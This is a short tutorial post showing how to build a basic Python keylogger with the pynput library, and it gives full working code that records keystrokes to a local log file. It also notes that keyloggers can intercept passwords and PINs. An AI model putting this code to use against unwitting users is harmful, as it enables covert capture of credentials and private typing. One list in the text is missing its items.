This article is a tutorial on how to develop a simple key logger using Python.
pip install pynput
Keystroke logging often referred to as keylogging or keyboard capturing, is the action of recording the keys struck on a keyboard, typically covertly, so that person using the keyboard is unaware that their actions are being monitored. Data can then be retrieved by the person operating the logging program. This logging program is called a Key Logger.
Most modern keyloggers are considered to be legitimate software or hardware and are sold on the open market. Developers and vendors offer a long list of cases in which it would be legal and appropriate to use keyloggers, including:
Unlike other types of malicious programs, keyloggers present no threat to the system itself. Nevertheless, they can pose a serious threat to users, as they can be used to intercept passwords and other confidential information entered via the keyboard. As a result, cybercriminals can get PIN codes and account numbers for e-payment systems, passwords to online gaming accounts, email addresses, user names, email passwords, etc.
import pynput
from pynput.keyboard import Key, Listener
charCount = 0
keys = []
def onKeyPress(key):
try:
print('Key Pressed : ',key) #Print pressed key
except Exception as ex:
print('There was an error : ',ex)
def onKeyRelease(key):
global keys, charCount #Access global variables
if key == Key.esc:
return False
else:
if key == Key.enter: #Write keys to file
writeToFile(keys)
charCount = 0
keys = []
elif key == Key.space: #Write keys to file
key = ' '
writeToFile(keys)
keys = []
charCount = 0
keys.append(key) #Store the Keys
charCount += 1 #Count keys pressed
def writeToFile(keys):
with open('log.txt','a') as file:
for key in keys:
key = str(key).replace("'","") #Replace ' with space
if 'key'.upper() not in key.upper():
file.write(key)
file.write("\n") #Insert new line
Now that we have the functions defined to handle keypress and key release, we can use the Listener provided by ‘**pynput ’**to log the keys.
with Listener(on_press=onKeyPress,\
on_release=onKeyRelease) as listener:
listener.join()
Snip of the Output of the above code snippet
Snip of the Log FIle
I hope this article was helpful, do leave some claps if you liked it.
Thank you for reading!
#python #programming #keylogger